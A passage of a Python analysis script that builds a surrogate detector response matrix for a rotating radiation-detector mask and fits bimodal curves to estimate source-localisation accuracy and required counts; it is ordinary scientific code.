-2.965516933029438e-10*phi**3 + \\\n 4.236080358837612e-09*phi**2 + -2.856554887240579e-08*phi + \\\n 5.772953352062337e-06)\n\ndef gprocess(MainDir=None,VRval=None,Geofile=None,minCforGauss=None,s_subdiv=None,DRMtheta=None,DRMphi=None,GeoStart=None,GeoFinal=None):\n # lower bound is in keV - total counts for energies above this value\n # (default 1 keV)\n \n #Read in the input geometry\n fid = open((''.join([Geofile])), \"r\")\n Geobegin = np.loadtxt(fid,ndmin=2)\n fid.close()\n \n Geotemp = Geobegin.copy()\n\n x_c = pd.read_csv(MainDir+'/x_c.txt', sep='\\s+',header=None).to_numpy() # line \n y_c = pd.read_csv(MainDir+'/y_c.txt', sep='\\s+',header=None).to_numpy() # line \n z_c = pd.read_csv(MainDir+'/z_c.txt', sep='\\s+',header=None).to_numpy() # line \n \n # Get the total distance\n mag=np.sqrt(x_c**2+y_c**2+z_c**2)\n \n Geotheta=zeros((np.size(x_c,0),np.size(x_c,1)))\n Geophi=zeros((np.size(x_c,0),np.size(x_c,1)))\n for jj in range(0, np.size(Geobegin,1)):\n for ii in range(0, np.size(Geobegin,0)):\n # Get the vector of each voxel center (from detector center)\n vec=[x_c[ii,jj],y_c[ii,jj],z_c[ii,jj]]\n vec_r=np.sqrt(vec[0]**2+vec[1]**2+vec[2]**2)\n vec_phi=np.arccos(vec[2]/vec_r)*180/np.pi\n vec_theta=np.arctan2(vec[1],vec[0])*180/np.pi\n if vec_theta<0:\n vec_theta+=360\n Geotheta[ii,jj]=vec_theta\n Geophi[ii,jj]=vec_phi\n # Project every other vector onto the vector\n dot_prod=x_c*vec[0]+y_c*vec[1]+z_c*vec[2]\n # Projection coefficient used\n proj_coef=dot_prod/(vec[0]**2+vec[1]**2+vec[2]**2)\n # Portion that is parallel\n para_x=proj_coef*vec[0]\n para_y=proj_coef*vec[1]\n para_z=proj_coef*vec[2]\n # Parallel distance\n para_dist=np.sqrt(para_x**2+para_y**2+para_z**2)\n # Calculate orthogonal piece\n ortho_x=x_c-para_x\n ortho_y=y_c-para_y\n ortho_z=z_c-para_z\n # Calculate the projection distance towards the voxel of interest\n ortho_dist=np.sqrt(ortho_x**2+ortho_y**2+ortho_z**2)\n # print(proj_dist)\n mask=Geobegin.copy()\n p_mask=Geobegin.copy()\n # Ignore backscatter (voxel is on other side) since only FEP\n mask[dot_prod<0]=np.nan\n p_mask[dot_prod<0]=-10\n # If \"most\" of voxel is NOT in the direction of interest, ignore it\n # aka voxel is near edge projection\n y1 = 0.095 # value greater than 90 degrees\n y2 = 0.205 # value at and before 90 degrees\n par_a = (y1-y2)/60**2\n # Create mask and average values (p_mask is for plotting the contributing values)\n if Geophi[ii,jj]>90:\n mask[ortho_dist>(par_a*(Geophi[ii,jj]-90)**2+y2)*para_dist]=np.nan\n p_mask[ortho_dist>(par_a*(Geophi[ii,jj]-90)**2+y2)*para_dist]=-10\n else:\n mask[ortho_dist>y2*para_dist]=np.nan\n p_mask[ortho_dist>y2*para_dist]=-10\n Geotemp[ii,jj]=np.nanmean(mask)\n \n # Plot the current thicknesses (only if analysis is run after optimization)\n if sys.argv[14] == '1':\n pdata = [go.Surface(z=Geotemp,showscale=False)]\n layout = dict(autosize=True,scene=dict(\n yaxis=dict(title=u\"\\u03D1\"),xaxis=dict(title=u\"\\u03D5\"),zaxis=dict(title='Geo Check'),\n camera=dict(eye=dict(x=2, y=2, z=1))),\n width=1000,height=1000,margin=dict(l=0,r=0,b=0,t=0))\n fig = go.Figure(data=pdata, layout=layout)\n py.offline.plot(fig, filename=MainDir + '/Check.html', include_mathjax='cdn')\n \n # Initialize geometric attenuation matrices\n Geo = zeros((np.size(DRMtheta), np.size(DRMphi)))\n Geophimat = zeros((np.size(Geotheta,0), np.size(DRMphi)))\n Geotheta_phi_interp = zeros((np.size(Geotheta,0), np.size(DRMphi)))\n \n # Initialize interpolation vectors for off-center measurements\n phi_interp=np.concatenate((GeoStart*ones((np.size(Geophi,0),1)), Geophi, GeoFinal*ones((np.size(Geophi,0),1))),axis=1)\n Geotemp_interp=np.concatenate((ones((np.size(Geotheta,0),1))*np.mean(Geotemp[:,0]), Geotemp, zeros((np.size(Geotheta,0),1))),axis=1)\n Geotheta_interp=np.concatenate((zeros((np.size(Geotheta,0),1)), Geotheta, ones((np.size(Geotheta,0),1))*360),axis=1)\n \n #Interpolate over measured phi (and save to theta position)\n for jj in range(0,np.size(Geotheta,0)):\n Geophimat[jj,:] = np.interp(DRMphi.flatten(),np.ravel(phi_interp[jj,:]),np.ravel(Geotemp_interp[jj,:]))\n Geotheta_phi_interp[jj,:] = np.interp(DRMphi.flatten(),np.ravel(phi_interp[jj,:]),np.ravel(Geotheta_interp[jj,:]))\n \n theta_interp=np.concatenate((zeros((1,np.size(Geophimat,1))), Geotheta_phi_interp, 360*ones((1,np.size(Geophimat,1)))),axis=0)\n Geo_ends=np.mean(np.concatenate((Geophimat[-1,:], Geophimat[0,:])),axis=0)\n Geo_interp=np.concatenate((Geo_ends, Geophimat, Geo_ends),axis=0)\n \n #Interpolate over measured theta\n for jj in range(0,np.size(DRMphi,1)):\n Geo[:,jj] = np.reshape(np.interp(DRMtheta,np.ravel(theta_interp[:,jj]),np.ravel(Geo_interp[:,jj])), (-1, 1))\n np.savetxt(sys.argv[2]+\"Geo.txt\",Geo,newline=\"\\n\")\n # Get assumed (constant) linear attentuation coefficient\n LinAtten = sys.argv[13]\n \n # Covert to counts assuming exponential attentation (constant over energy). Assume the minimum\n # number of counts is minCforGauss.\n Det=det_atten(DRMphi)/det_atten(DRMphi[0,0])# divide by 1st DRM value (looks most like slab)#/2.314152e-02\n Resp=(np.exp(-float(LinAtten)*Geo))*np.diag(np.ravel(Det))\n print(np.size(Det,0),np.size(Det,1),np.size(Resp,0),np.size(Resp,1))\n DRM=minCforGauss*Resp/np.min(np.min(Resp))\n \n # Plot the DRM (only if analysis is run after optimization)\n if np.size(Geo,1)>1 and sys.argv[14] == '1': \n pdata = [go.Surface(x=np.ravel(DRMphi),y=np.ravel(DRMtheta),z=DRM,showscale=False)]\n layout = dict(autosize=True,scene=dict(\n yaxis=dict(title=u\"\\u03D1\"),xaxis=dict(title=u\"\\u03D5\"),zaxis=dict(title='Surrogate DRM'),\n camera=dict(eye=dict(x=2, y=2, z=1))),\n width=1000,height=1000,margin=dict(l=0,r=0,b=0,t=0))\n fig = go.Figure(data=pdata, layout=layout)\n py.offline.plot(fig, filename=MainDir + '/SurrDRM.html', include_mathjax='cdn')\n\n # Return the DRM and final, interpolated thickness\n return DRM,Geo\n\ndef RSManalyze(MainDir=None,VRval=None,Geofile=None,minCforGauss=None,s_subdiv=None,DRMtheta=None,DRMphi=None,GeoStart=None,GeoFinal=None):\n DRM,Geo = gprocess(MainDir,VRval,Geofile,minCforGauss,s_subdiv,DRMtheta,DRMphi,GeoStart,GeoFinal)\n\n # Force the DRM to be zero mean for each phi\n DRMred = DRM.copy()\n DRMmean = zeros((1, np.size(DRM,1)))\n for ii in range(0,np.size(DRM,1)):\n DRMmean[0,ii] = np.mean(DRM[:, ii])\n DRMred[:, ii] = DRMred[:, ii] - DRMmean[0,ii]\n \n # Calculate the MAC for the non-imaging design\n AutoPMAC = MAC(DRMred, 1)\n maxSingleMAC = (np.triu(AutoPMAC) - np.eye(np.size(AutoPMAC, 0))).max()\n avgSingleMAC = np.sum(np.sum(np.triu(AutoPMAC) - np.eye(np.size(AutoPMAC, 0)))) / np.sum(np.arange(1,np.size(DRM,1)))\n\n # Calculate the MAC for the imaging design\n maxMat = zeros(((np.size(DRMred,1)+np.size(DRMred,0)-1),np.size(DRMred,1)))\n PMAC=[np.inf]\n # Loop though all DRCs\n for pp in range(0,np.size(DRM,1)):\n DRMperm = DRMred[:, pp:]\n # Loop though all shifted DRCs\n for gg in range(0,np.size(DRM,0)):\n if gg == 0 and pp < np.size(DRMred,1)-1:\n PMAC = MACloop(DRMperm, 0)\n else:\n if gg == 0 and pp == np.size(DRMred,1)-1: pass\n # Skip comparing with itself - just want to compare with\n # permutations for final vector\n else:\n PMAC = MACloop(np.c_[DRMred[:, pp], np.roll(DRMperm,gg, 0)], 0)\n # Store largest value\n if np.size(PMAC) ==1 and np.isinf(PMAC[0])==1:\n maxMat[gg + pp, pp] = np.inf\n else:\n maxMat[gg + pp, pp] = (PMAC[1:]).max()\n \n # Store imaging MAC values\n maxMAC = ((maxMat).max()).max()\n print(\"maxMAC = \", maxMAC)\n avgMAC = np.mean(maxMat[maxMat > 0])\n print(\"avgSingleMAC = \",avgSingleMAC)\n # Calculate the sensitivity\n Sens = ((DRM).max(0) / (DRM).min(0)).min()\n print(\"Sens = \", Sens)\n\n\t# Record average number of counts per angle\n AvgCountsAngle = np.sum(np.sum(DRM)) / float(np.size(DRM,0) * np.size(DRM,1))\n print(\"AvgCountsAngle = \", AvgCountsAngle)\n\t# Return DRMs and metrics\n return AutoPMAC, DRM, DRMred, DRMmean, maxMat, maxMAC, maxSingleMAC, Sens, AvgCountsAngle, avgMAC, avgSingleMAC, Geo\n\ndef gauss(x,mu,sigma,A):\n \"\"\" Gaussian function for curve-fit\"\"\"\n return np.absolute(A*np.exp(-(x-mu)**2/(2*sigma**2)))\n\ndef step(x,mu,sigma,A):\n \"\"\" Middle step function for curve-fit\"\"\"\n return np.absolute(A*(np.heaviside(x-(mu-sigma),1) - np.heaviside(x-(mu+sigma),1)))\n\t\ndef bimodal(x,mu1,sigma1_g,A1,mu2,sigma2_g,A2,sigma1_p,sigma2_p,c):\n \"\"\" Two valley curve-fit to DRCs. Uses two gaussian functions with a middle step function\"\"\"\n return gauss(x,mu1-sigma1_p,sigma1_g,A1)*(1-np.heaviside(x-(mu1-sigma1_p),1))+step(x,mu1,sigma1_p,A1)+gauss(x,mu1+sigma1_p,sigma1_g,A1)*(np.heaviside(x-(mu1+sigma1_p),1)) \\\n +gauss(x,mu2-sigma2_p,sigma2_g,A2)*(1-np.heaviside(x-(mu2-sigma2_p),1))+step(x,mu2,sigma2_p,A2)+gauss(x,mu2+sigma2_p,sigma2_g,A2)*(np.heaviside(x-(mu2+sigma2_p),1))+c\n\ndef CalcMinTime(DRM,DRMtheta,DRMphi,MainDir,VRval,deltatheta,minCforGauss,LinAtten,Geo,sig,wallwidth,finwidth,s_subdiv):\n \"\"\" Based on the DRCs, determine the number of particles needed to ID the source location/image\"\"\"\n # Initialize variables\n TPeak=np.inf # Particles to ID using peak method\n TWidth=np.inf # Particles to ID using width method\n Acc=0 # Accuracy\n RatioWallFinPeak = zeros([1,np.size(DRMphi,1)])\n RatioWallFinWidth = zeros([1,np.size(DRMphi,1)]) \n DistPeak = 0 # Distinguishability of peak method\n DistWidth = 0 # Distinguishability of width method\n savefit = zeros([np.size(DRMphi,1),7]) # save curve-fit values\n savestd = zeros([np.size(DRMphi,1),7]) # save curve-fit standard deviation values\n savelabel = pd.DataFrame(np.empty((np.size(DRMphi,1), 0), dtype = np.str)) # Label for fin/wall valleys\n MinCounts = zeros([1,np.size(DRMphi,1)]) # Minimum number of counts in DRC\n\t\n # Introduce location ID based on curve-fit parameters \n # (distance from reference angle to valley peaks)\n \n # Load geometric fin and wall centers for accuracy calculation\n fid = open((''.join([MainDir, \"/FinPos.inp\"])), \"r\")\n fin = np.loadtxt(fid,ndmin=1)\n fid.close()\n fid = open((''.join([MainDir, \"/WallPos.inp\"])), \"r\")\n wall = np.loadtxt(fid,ndmin=1)\n fid.close()\n \n # Initialize variables\n thetastep=deltatheta/s_subdiv # Theta substep\n deltaphi=float(sys.argv[5]) # Phi mask discretization\n fin_interp=np.concatenate(([0], fin*deltatheta)) # Spacing for interpolating middle fin geometry\n wall_interp=np.concatenate(([0], wall*deltatheta)) # Spacing for interpolating middle wall geometry\n fin_angle=fin*deltatheta # Angle to middle fin geometry\n wall_angle=wall*deltatheta # Angle to middle wall geometry\n ntheta = np.size(DRMtheta,0) # Number of measurements\n NumPart = zeros([1,np.size(DRMphi,1)]) # total number of particles in DRC\n for ii in range(0,np.size(DRMphi,1)):\n # Convert to counts\n DRC=DRM[:,ii]\n NumPart[:,ii]=np.sum(DRC)\n \n #HAVE TO SHIFT THE CURVE SO PEAK NOT SPLIT AT DRC EDGE\n Wallshiftind = np.argmax(DRC)\n Wallshift = Wallshiftind*thetastep\n # Map phi values to geometry so know fin/wall positions for different DRC phis\n print(DRMphi)\n # Have to assume initial source positions not at fin and wall center \n # are linear interpolations of neighboring positions.\n phiPos=np.concatenate(([0], Geophi))\n if np.mod(DRMphi[0,ii],deltaphi)==0:\n FinPos = np.interp(DRMphi[0,ii],phiPos,fin_interp)\n WallPos = np.interp(DRMphi[0,ii],phiPos,wall_interp)\n else:\n FinPos=fin_angle[int(np.floor_divide(DRMphi[0,ii],deltaphi))]\n WallPos=wall_angle[int(np.floor_divide(DRMphi[0,ii],deltaphi))]\n # ---------- Invert DRC to make fitting easier then shift to move wall peak----------------------------\n # If shifted less than the fin position, then the wall was moved to the far right. If shifted more than\n # the fin position or less than the wall position, then the wall remains the \n # first valley and the fin is the second (both wall and fin moved to end)\n if WallPos-Wallshift <0:\n shiftwallpos = WallPos-Wallshift + 360\n else:\n shiftwallpos = WallPos-Wallshift\n if FinPos-Wallshift <0:\n shiftfinpos = FinPos-Wallshift + 360\n else:\n shiftfinpos = FinPos-Wallshift\n # Check data near expected fin and wall locations for max value\n maxindwall=int(np.floor_divide(shiftwallpos,thetastep))\n maxindfin=int(np.floor_divide(shiftfinpos,thetastep))\n maxindwallnext = maxindwall + 1\n maxindfinnext = maxindfin + 1 \n if maxindwallnext == ntheta:\n maxindwallnext = 0\n if maxindfinnext == ntheta:\n maxindfinnext = 0\n \n # Shift DRC and pick expected values for curve fit using max values, wall width, etc.\n Inverse_DRC = np.ravel(np.roll((np.amax(DRC) - DRC), -Wallshiftind, 0))\n if Wallshift < FinPos and Wallshift > WallPos:\n Peaks_label=['Fin','Wall']\n expected=(shiftfinpos,finwidth*thetastep/2,np.max([Inverse_DRC[maxindfin],Inverse_DRC[maxindfinnext]]),\\\n shiftwallpos,wallwidth*thetastep/2,np.max([Inverse_DRC[maxindwall],Inverse_DRC[maxindwallnext]]),0,0,0)\n else:\n Peaks_label=['Wall','Fin']\n expected=(shiftwallpos,wallwidth*thetastep/2,np.max([Inverse_DRC[maxindwall],Inverse_DRC[maxindwallnext]]), \\\n shiftfinpos,finwidth*thetastep/2,np.max([Inverse_DRC[maxindfin],Inverse_DRC[maxindfinnext]]),0,0,0)\n maxfev=100000 # Set maximum number of interations for curve fit\n \n try:\n # Fit curve to data to get ID parameters\n thetaval=np.arange(ntheta)*thetastep\n gpar_all, gcov_all = optimize.curve_fit(bimodal,thetaval,Inverse_DRC,expected,maxfev=maxfev)\n except Exception:\n #print(\"Optimal parameters not found using {} functions.\".format(maxfev))\n gpar_all=np.ravel(np.empty((1,9)))\n gcov_all=np.empty((9,9))\n gpar_all[:]=np.inf\n gcov_all[:]=np.inf\n pass\n # Temporarily store curve-fit parameters and covariance\n # gpar_all(mu1,sigma1_g,A1,mu2,sigma2_g,A2,sigma1_p,sigma2_p,c):\n gpar=np.array([0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0])\n gcov=np.array([0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0])\n gcovtemp=np.diag(gcov_all)\n # Center of first peak\n gpar[0]=gpar_all[0]\n gcov[0]=gcovtemp[0]\n # Note since sigma is squared, it can be negative and get an accurate result\n # gpar(mu1,sigma1,A1,mu2,sigma2,A2,c):\n # Total width of first peak\n gpar[1]=np.absolute(gpar_all[1])+np.absolute(gpar_all[6])\n gcov[1]=np.absolute(gcovtemp[1])+np.absolute(gcovtemp[6])\n # Amplitude of first peak and center of second peak\n gpar[2:4]=gpar_all[2:4]\n gcov[2:4]=gcovtemp[2:4]\n # Note since sigma is squared, it can be negative and get an accurate result\n # Total width of second peak\n gpar[4]=np.absolute(gpar_all[4])+np.absolute(gpar_all[7])\n gcov[4]=np.absolute(gcovtemp[4])+np.absolute(gcovtemp[7])\n # Amplitude of second peak\n gpar[5]=gpar_all[5]\n gcov[5]=gcovtemp[5]\n # Baseline\n gpar[6]=gpar_all[8]\n gcov[6]=gcovtemp[8]\n \n # Calculate one standard deviation of parameters\n if np.all(np.isinf(gpar)) or np.any(gpar[0:5]<0):\n gstd=np.ravel(np.empty((1,len(gpar))))\n gstd[:] = np.inf\n else:\n gstd = sig*np.sqrt(gcov)\n savelabel.loc[ii,0] = Peaks_label[0]\n \n # Use parameters to create DRC (not inverted) curve fit\n gaussfit=np.ravel(bimodal(thetaval, *gpar_all))\n DRCgaussfit = np.ravel(np.max(DRC) - np.roll(bimodal(DRMtheta, *gpar_all), Wallshiftind, 0))\n MinCounts[0,ii] = np.min(DRC)\n \n # Create plots of Inverse DRC and fits (skipped during optimization, useful for individual designs)\n if sys.argv[14] == '1': \n gfit=go.Scatter(x=DRMtheta,y=gaussfit,\n mode='lines',name='Inverse Gaussian Fit',line=dict(width=6))#dash='dash',width=6))\n pdata=go.Scatter(x=DRMtheta,y=np.ravel(Inverse_DRC),mode='markers',name='Inverse DRC',marker=dict(size=10))\n line1=go.Scatter(x=[shiftwallpos, shiftwallpos],y=[np.min(Inverse_DRC), np.max(Inverse_DRC)],mode='lines',name='Wall Position',line=dict(width=4))\n line2=go.Scatter(x=[shiftfinpos, shiftfinpos], y=[np.min(Inverse_DRC), np.max(Inverse_DRC)],mode='lines',name='Fin Position',line=dict(width=4))\n layout = go.Layout(autosize=True,title=\"Inverse Detector Response Curve (DRC): \"+u\"\\u03D5\" +\" = \" + str(DRMphi[0,ii]) + u\"\\u00B0\",\n xaxis=dict(title=\"Azimuthal Angle = \"+u\"\\u03D1\"),yaxis=dict(title=\"Counts\",exponentformat='E'),\n width=1200,height=800,margin=dict(l=150,r=0,b=150,t=60))\n fig = go.Figure(data=[gfit,pdata,line1,line2], layout=layout)\n py.offline.plot(fig, filename=str(MainDir)+'/InvDRCph'+str(DRMphi[0,ii])+'.html', include_mathjax='cdn')\n \n # Create plots of DRC and fits (skipped during optimization, useful for individual designs)\n gfit=go.Scatter(x=np.ravel(DRMtheta),y=DRCgaussfit,\n mode='lines',name='Gaussian Fit',line=dict(width=6))\n pdata=go.Scatter(x=np.ravel(DRMtheta),y=np.ravel(DRC),mode='markers',name='DRC',marker=dict(size=10))\n line1=go.Scatter(x=[WallPos, WallPos],y=[np.min(DRC), np.max(DRC)],mode='lines',name='Wall Position',line=dict(width=4))\n line2=go.Scatter(x=[FinPos, FinPos], y=[np.min(DRC), np.max(DRC)],mode='lines',name='Fin Position',line=dict(width=4))\n layout = go.Layout(autosize=True,title=\"Detector Response Curve (DRC): \"+u\"\\u03D5\" +\" = \" + str(DRMphi[0,ii]) + u\"\\u00B0\",\n xaxis=dict(title=\"Azimuthal Angle = \"+u\"\\u03D1\"),yaxis=dict(title=\"Counts\",exponentformat='E'),\n width=1200,height=800,margin=dict(l=150,r=0,b=150,t=60))\n fig = go.Figure(data=[gfit,pdata,line1,line2], layout=layout)\n py.offline.plot(fig, filename=str(MainDir)+'/DRCph'+str(DRMphi[0,ii])+'.html', include_mathjax='cdn')\n \n # Calculate non-shifted Wall and Fin fit positions\n if gpar[0] >= 0 and gpar[0] <= 360:\n if gpar[0] + Wallshift <= 360:\n Gauss1Pos = gpar[0]+Wallshift\n else:\n Gauss1Pos = gpar[0]+Wallshift-360\n else:\n Gauss1Pos = np.inf \n if gpar[3] >= 0 and gpar[3] <= 360:\n if gpar[3] + Wallshift <= 360:\n Gauss2Pos = gpar[3]+Wallshift\n else:\n Gauss2Pos = gpar[3]+Wallshift-360\n else:\n Gauss2Pos = np.inf \n print(\"{} valley position (mu) = {} degrees\".format(Peaks_label[0],float(Gauss1Pos)))\n print(\"{} valley position (mu) = {} degrees\".format(Peaks_label[1],float(Gauss2Pos)))\n print(\"{} valley sigma = {}\".format(Peaks_label[0],gpar[1]))\n print(\"{} valley sigma = {}\".format(Peaks_label[1],gpar[4]))\n print(\"{} valley counts (amplitude) = {}\".format(Peaks_label[0],gpar[2]))\n print(\"{} valley counts (amplitude) = {}\".format(Peaks_label[1],gpar[5]))\n print(\"{} valley position (mu) sig * std = {} degrees\".format(Peaks_label[0],gstd[0]))\n print(\"{} valley position (mu) sig * std = {} degrees\".format(Peaks_label[1],gstd[3]))\n print(\"{} valley sigma sig * std = {}\".format(Peaks_label[0],gstd[1]))\n print(\"{} valley sigma sig * std = {}\".format(Peaks_label[1],gstd[4]))\n print(\"{} valley counts (amplitude) sig * std = {}\".format(Peaks_label[0],gstd[2]))\n print(\"{} valley counts (amplitude) sig * std = {}\".format(Peaks_label[1],gstd[5]))\n\n # Save fit info\n if Peaks_label[0]=='Wall':\n savefit[ii,0] = float(Gauss1Pos)\n savefit[ii,1] = gpar[1]\n savefit[ii,2] = gpar[2]\n savefit[ii,3] = float(Gauss2Pos)\n savefit[ii,4] = gpar[4]\n savefit[ii,5] = gpar[5]\n savefit[ii,6] = gpar[6]\n savestd[ii,:] = gstd\n else:\n savefit[ii,3] = float(Gauss1Pos)\n savefit[ii,4] = gpar[1]\n savefit[ii,5] = gpar[2]\n savefit[ii,0] = float(Gauss2Pos)\n savefit[ii,1] = gpar[4]\n savefit[ii,2] = gpar[5]\n savefit[ii,6] = gpar[6]\n savestd[ii,3:5] = gstd[0:2]\n savestd[ii,0:2] = gstd[3:5]\n savestd[ii,6] = gpar[6]\t\t\t\n\n # Calculate error in positioning\n if Peaks_label[0]==\"Wall\": \n theta_error=np.absolute(WallPos - Gauss1Pos) \n phi_error=np.absolute(FinPos - Gauss2Pos) \n else: \n theta_error=np.absolute(WallPos - Gauss2Pos) \n phi_error=np.absolute(FinPos - Gauss1Pos) \n # Calculate accuracy objective function\n Acc = Acc + theta_error + phi_error\n \n # Check to see if Wall peak/width is greater or less than Fin peak/width for all phi \n # This condition guarantees that the wall and fin can be distinguished. If they switch and\n # the relative peak distance are the same for two phis, then the wall/fin can't be distinguished.\n # The phi=0 MAC does not catch this (but full MAC loop would). Since focused on Spartan design set\n # BestRatio to nan to ignore this design. (This issue requires the fin to pass 180 degrees from the wall)\n if gpar[2]>1e-8 and gpar[5]>1e-8 and gpar[1]>1e-8 and gpar[4]>1e-8:\n # Wall is negative if larger, fin is positive\n # If first peak is smaller\n if gpar[2] + gstd[2] < gpar[5] - gstd[5]:\n if Peaks_label[0]=='Wall':\n DistPeak = DistPeak + 1\n else:\n DistPeak = DistPeak - 1\n RatioWallFinPeak[0,ii]=(gpar[2] + gstd[2])/(gpar[5] - gstd[5])\n # If first peak is larger\n elif gpar[2] - gstd[2] > gpar[5] + gstd[5]:\n if Peaks_label[0]=='Wall':\n DistPeak = DistPeak - 1\n else:\n DistPeak = DistPeak + 1\n RatioWallFinPeak[0,ii]=(gpar[5] + gstd[5])/(gpar[2] - gstd[2])\n else:\n # If indistinguishable, add zero\n # Don't calculate ratio\n print('Peak Indistinguishable')\n RatioWallFinPeak[0,ii]=np.inf\n # If first peak is less wide\n if gpar[1] + gstd[1] < gpar[4] - gstd[4]:\n if Peaks_label[0]=='Wall':\n DistWidth = DistWidth + 1\n else:\n DistWidth = DistWidth - 1\n RatioWallFinWidth[0,ii]=(gpar[1] + gstd[1])/(gpar[4] - gstd[4])\n # If first peak is wider\n elif gpar[1] - gstd[1] > gpar[4] + gstd[4]:\n if Peaks_label[0]=='Wall':\n DistWidth = DistWidth - 1\n else:\n DistWidth = DistWidth + 1\n RatioWallFinWidth[0,ii]=(gpar[4] + gstd[4])/(gpar[1] - gstd[1])\n else:\n # If indistinguishable, add zero\n # Don't calculate ratio\n print('Width Indistinguishable')\n RatioWallFinWidth[0,ii]=np.inf\n else:\n print('Non-physical curve fit (amplitude is zero or negative or no peak width).')\n print('Return inf for Peak and Width.')\n RatioWallFinPeak[0,ii]=np.inf\n RatioWallFinWidth[0,ii]=np.inf\n print('Number of distiguishable peaks',DistPeak)\n print('Number of distiguishable widths',DistWidth)\n print('Peak ratios:',RatioWallFinPeak)\n print('Width ratios:',RatioWallFinWidth)\n # Get ratio for worst case of best distinguishable method\n # If couldn't perform ID a DRC, set all ratios to inf\n if np.any(np.isinf(RatioWallFinPeak)):\n PeakRatio = np.inf\n else:\n PeakRatio = np.max(RatioWallFinPeak)\n if np.any(np.isinf(RatioWallFinWidth)):\n WidthRatio = np.inf\n else:\n WidthRatio = np.max(RatioWallFinWidth)\n # If both methods were distinguishable, pick the most accurate one to be the smallest ratio\n if np.absolute(DistPeak) == np.size(DRMphi,1) and np.absolute(DistWidth) == np.size(DRMphi,1):\n BestRatio = np.min([PeakRatio,WidthRatio])\n Dist=2\n if PeakRatio < WidthRatio:\n AccMethod=\"Peak\"\n else:\n AccMethod=\"Width\"\n elif np.absolute(DistPeak) == np.size(DRMphi,1):\n # If only the peak method was distinguishable, use the corresponding values\n BestRatio = PeakRatio\n AccMethod=\"Peak\"\n Dist=1\n elif np.absolute(DistWidth) == np.size(DRMphi,1):\n # If only the width method was distinguishable, use the corresponding values\n BestRatio = WidthRatio\n AccMethod=\"Width\"\n Dist=1\n else:\n # If neither methods was distinguishable, set the ratio to inf and don't choose a best\n BestRatio = np.inf\n AccMethod=\"none\"\n Dist=0\n \n # Calculated required time\n baseline = np.transpose(np.max(DRM,0))-savefit[:,6]\n # Make sure minimum has at least minCforGauss counts\n m_theta=np.min(DRM,axis=0)\n m_phi=np.min(DRM,axis=1)\n min_phi=np.argmin(m_theta)\n min_theta=np.argmin(m_phi)\n minSP1 = minCforGauss*np.exp(float(LinAtten)*Geo[min_theta,min_phi])/(det_atten(DRMphi[0,min_phi])/VRval)\n # For peak differentiation make sure enough counts for each phi position\n # Wall to fin or fin to wall required counts\n if np.any(np.isinf(baseline-savefit[:,2])) or np.any(np.isinf(baseline-savefit[:,5])) or np.any(baseline-savefit[:,2]<0) or np.any(baseline-savefit[:,5]<0):\n minSP2=np.inf\n else:\n minSP2 = np.max(sig**2 * np.divide(np.square(np.sqrt(baseline-savefit[:,2]) + np.sqrt(baseline-savefit[:,5])),np.square(savefit[:,2] - savefit[:,5])))*minSP1\n # Wall/fin to baseline\n if np.any(np.isinf([savefit[:,2], savefit[:,5]])) or np.any(np.min([savefit[:,2], savefit[:,5]],0)<0):\n minSP3=np.inf\n else:\n Npeak = np.min([savefit[:,2], savefit[:,5]],0)\n minSP3 = np.max(sig**2 * np.divide(np.square(np.sqrt(baseline-Npeak) + np.sqrt(baseline)),np.square(Npeak)))*minSP1\n if np.any(np.isinf(baseline-savefit[:,2])) or np.any(baseline-savefit[:,2]<0):\n minSP4_1=np.inf\n else:\n minSP4_1 = 4 * np.max(sig**2 * np.divide(np.square(np.sqrt(baseline-savefit[:,2]/2) + np.sqrt(baseline-savefit[:,2])),np.square(savefit[:,2])))*minSP1\n if np.any(np.isinf(baseline-savefit[:,5])) or np.any(baseline-savefit[:,5]<0): \n minSP4_2=np.inf\n else:\n minSP4_2 = 4 * np.max(sig**2 * np.divide(np.square(np.sqrt(baseline-savefit[:,5]/2) + np.sqrt(baseline-savefit[:,5])),np.square(savefit[:,5])))*minSP1\n # Required counts for Peak and Width methods\n TPeak = max(minSP1, minSP2, minSP3)\n TWidth = max(minSP1, minSP3, max(minSP4_1,minSP4_2))\n # Method with the fewest required number of counts\n BestNSP=min(TPeak,TWidth) \n if TPeak < TWidth:\n TimeMethod = \"Peak\"\n else:\n TimeMethod = \"Width\"\n \n # Track average number of particles in DRM\n AvgNumPart=np.mean(NumPart)\n \n\t#Return accuracy, distingishability, and time objective functions and other parameters of interest.\n return Acc,Dist,PeakRatio,WidthRatio,BestRatio,AccMethod,TPeak,TWidth,BestNSP,TimeMethod,AvgNumPart,savefit,savelabel,baseline,savestd,minSP1,minSP2,minSP3,minSP4_1,minSP4_2\n\n# ***********************************************************************\n# Start analysis\n# ***********************************************************************\n# Variables passed into Analysis code\n\n#DakotaOutput=sys.argv[1]\n#Outputmatrix=sys.argv[2]\n#Sourcetype=sys.argv[3]\ns_subdiv=float(sys.argv[4])\ndeltaphi=float(sys.argv[5])\n#phifinal=float(sys.argv[6])\ndeltatheta=float(sys.argv[7])\nMainDir = sys.argv[8]\nVRval = float(sys.argv[9])\nmaskdensity = float(sys.argv[10])\n#StartPhi = float(sys.argv[11])\nGeofile = sys.argv[12]\n#LinAtten = sys.argv[13]\n#plotfig = sys.argv[14]\nwallwidth = int(sys.argv[15])\nfinwidth = int(sys.argv[16])\nGeoStart = float(sys.argv[17])\nGeoFinal = float(sys.argv[18])\n#DR = float(sys.argv[19])\n#DH = float(sys.argv[20])\n#wallthick = float(sys.argv[21])\n#finthick = float(sys.argv[22])\n#Detmu = float(sys.argv[23])\n\n# Minimum number of counts to approximate Poisson process (then Gaussian) at peak\nminCforGauss = 30\n\n\nDRMtheta=np.transpose(np.arange(deltatheta*(0.5-np.floor(s_subdiv/2)/s_subdiv),360,deltatheta/s_subdiv))\nDRMphi=np.array(np.arange(float(sys.argv[11]),float(sys.argv[6]),deltaphi))[np.newaxis]\nprint('PHI SET TO MATCH VOXEL EDGE IN MCNP CODE!!!!!!!!!!!!!!!')\n\n# Call code to get DRM, MAC values, and sensitivity\nAutoPMAC, DRM, DRMred, DRMmean, maxMat, maxMAC, maxSingleMAC, Sens, AvgCountsAngle, \\\n avgMAC, avgSingleMAC, Geo = RSManalyze(MainDir,VRval,Geofile,minCforGauss, \\\n s_subdiv,DRMtheta,DRMphi,GeoStart,GeoFinal)\n# ***********************************************************************\n# Get min time and ID accuracy\n# ***********************************************************************\n# Map phi values to geometry so know fin/wall positions for different DRC phis\nGeophi=np.arange(GeoStart+deltaphi/2,GeoFinal-deltaphi/2+0.00001,deltaphi)\n\n# Calculate required number of particles, 